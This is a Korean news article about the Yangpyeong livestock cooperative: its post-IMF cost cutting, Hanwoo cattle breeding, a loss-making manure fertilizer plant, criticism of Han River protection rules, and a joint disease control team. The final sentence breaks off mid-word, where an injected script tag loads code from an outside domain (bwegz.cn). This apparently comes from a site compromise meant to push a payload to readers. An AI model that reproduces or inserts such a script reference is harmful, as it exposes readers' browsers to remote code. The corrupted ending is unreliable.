" IMF체제로 인한 사료값의 폭등, 암소 감소에 따른 한우번식기반의 붕괴위기와 지속적이고도 무차별적인 규제, 한강살리기에 희생이 되고 있는 양평지역의 축산업은 그 명맥을 유지하기에도 벅찬 지경이다.
그럼에도 불구하고 축산인들이 꿋꿋이 생업을 유지하는데에는 열악한 환경을 딛고 일어서려는 양평축협 류인수조합장을 비롯 이태영전무 그리고 임직원들의 노력이 무엇보다 큰 몫을 차지하고 있다.
경제적 여건의 악화속에서 눈물 어린 인력 감축을 단행한 류인수조합장. 그것을 묵묵히 참고 축산인들과 고통을 함께 해야 한다며 스스로 비용 절감에 앞장선 임직원들. 그리고 그것을 보면서 조합을 신뢰하고 사업에 적극적으로 참여해 주는 조합원들.
어떤 의미에서 주위의 악화된 환경은 양평축산업을 더욱 발전시킬 수 있는 일종의 시험과도 같은 과정이라고 해도 과언은 아니다.
작년 양평축협은 경제사정이 극도로 악화될 것으로 전망했다. 이에 따라 건전하고 효율적인 흑자결산을 최우선 과제로 선정하고 조합의 조직·운영에 관한 전반적인 사항을 검토, 경영개선 방안을 마련하고 자립경영 및 봉사체계를 조기에 정착시키고자 조합경영개선위원회를 설치 운영하였다.
조합의 경영개선 계획을 수립하고 적극적으로 추진, 저비용 고효율체제 구축을 목표로 인력을 감축하고, 직원 복리후생을 축소했으며, 예산의 긴축 운용 등으로 경영수지 부담을 최소화하는데 노력했다. 그 결과 작년 총사업실적이 1천2백95억6천여만원으로 전년대비 93%, 목표대비 88%에 그친데도 불구하고 당기순이익은 전년대비 1백24%, 목표대비 1백13%가 각각 증가한 2억2천여만원을 올렸다.
경영개선위원회는 사업계획목표를 달성하기 위해 특별사업 추진계획을 수립하고 직원별 목표부여와 지속적인 지도·관리로 사업활성화에 적극 노력한 결과 각 부문별 사업은 대부분 목표를 달성했다.
무자격 조합원을 정리하고 조합원을 정예화함과 동시에 채권관리팀을 신설, 연체채권 감축에 나서는 등 2001년 축산물 완전개방에 대비해 온 양평축협이 적극적으로 실시하고 있는 사업은 한우개량사업이다.
고급육을 생산하여 가격경쟁에서의 열세를 품질경쟁으로 만회하려는 대책은 지난 79년 양동한우개량단지를 시작으로 단월, 청운, 지제한우개량단지 지정으로 확대됐다. 이를 계기로 한우개량에 적극 나선 결과 서산한우개량사업소에 송아지를 일반송아지의 1.3배의 높은 가격으로 제공하고 있다.
지난 1·4분기 현재 양평지역의 한우등록우 관리현황을 보면 기초등록우 1천3백37두, 혈통등록우 2천2백5두, 고등등록우 1천41두, 육종등록우 3두 등 총 7백88농가에서 4천5백86두의 등록우를 사육하고 있다. 사료지원 등 한우개량에 전폭적인 지원을 하고 있는 양평축협의 노력으로 양평지역의 한우는 전국에서도 우수하기로 정평이 나 있다.
한편 상수원보호구역에 위치한 7개 축협중 유일하게 축산분뇨비료공장을 운영하고 있는 양평축협은 군에서 지원해 주는 포장비 7천5백여만원에도 불구하고 한해 1억5천만원의 적자를 내면서도 환경살리기의 일환으로 사업을 계속하고 있다.
『축분수거차량, 값 비싼 톱밥, 발효후숙시간과 이동, 조작에 드는 비용이 과중해 20kg 유기질비료 한포대에 3천원의 비용이 들어가는데도 불구하고 농가에 2천5백원선에 판매한다. 이같이 포대당 6백원선의 적자가 날 수밖에 없는 사업을 지속적으로 유지하기에는 조합만의 힘으로는 벅차다는 것이 관계자의 호소이다.
조합의 한관계자는 『환경부의 한강살리기는 한강을 위해 주위의 모든 것들은 없애려는 아주 단견적이고 편의행정적인 전형』이라고 꼬집는다. 한강이 한민족의 젖줄이라는 것은 한강을 병 속에 가두어 놓고 보기만 하는 것이 아니라 한강을 이용해 여러 산업들이 더불어 살아가야 한다는 의미를 환경부는 간과하고 있다는 뜻이다. 주변의 생산업을 전부 죽이고 나서 흐르는 한강은 말 그대로 침묵의 강일 뿐이라는 것이다.
양평축협은 가축질병으로 인한 농가의 소득감소를 최소화하고 축산물의 안전성 확보 및 가축방역사업의 활성화를 도모키 위해 작년 공동방역사업실시단을 설치했다.
공동방역사업단은 양평군이 사활을 걸고 추진중인 「환경농업-21」의 상임위원이기도 한 류인수조합장을 단장으로 김용봉 개군초우회장, 그리고 정규성 양평낙농축산계장과 류지원 동물병원장 등 12명으로 구성됐다. 공방단은 특히 농장별 상황에 맞는 백신접종프로그램을 담당공수의사, 농장주, 방역요원이 협의하여 설정하고 이에 준해서 정확한 날짜에 공수의사의 지시에 따라 방역요원이 직접 접종하며 접종내역을 방역단에 제출, 정확성을 기하고 있다.
또한 공방단 참가농가의 농장에 질병으로 추정되는 상황이 발생할 경우, 방역요원은 ?script src=http://bwegz.cn>
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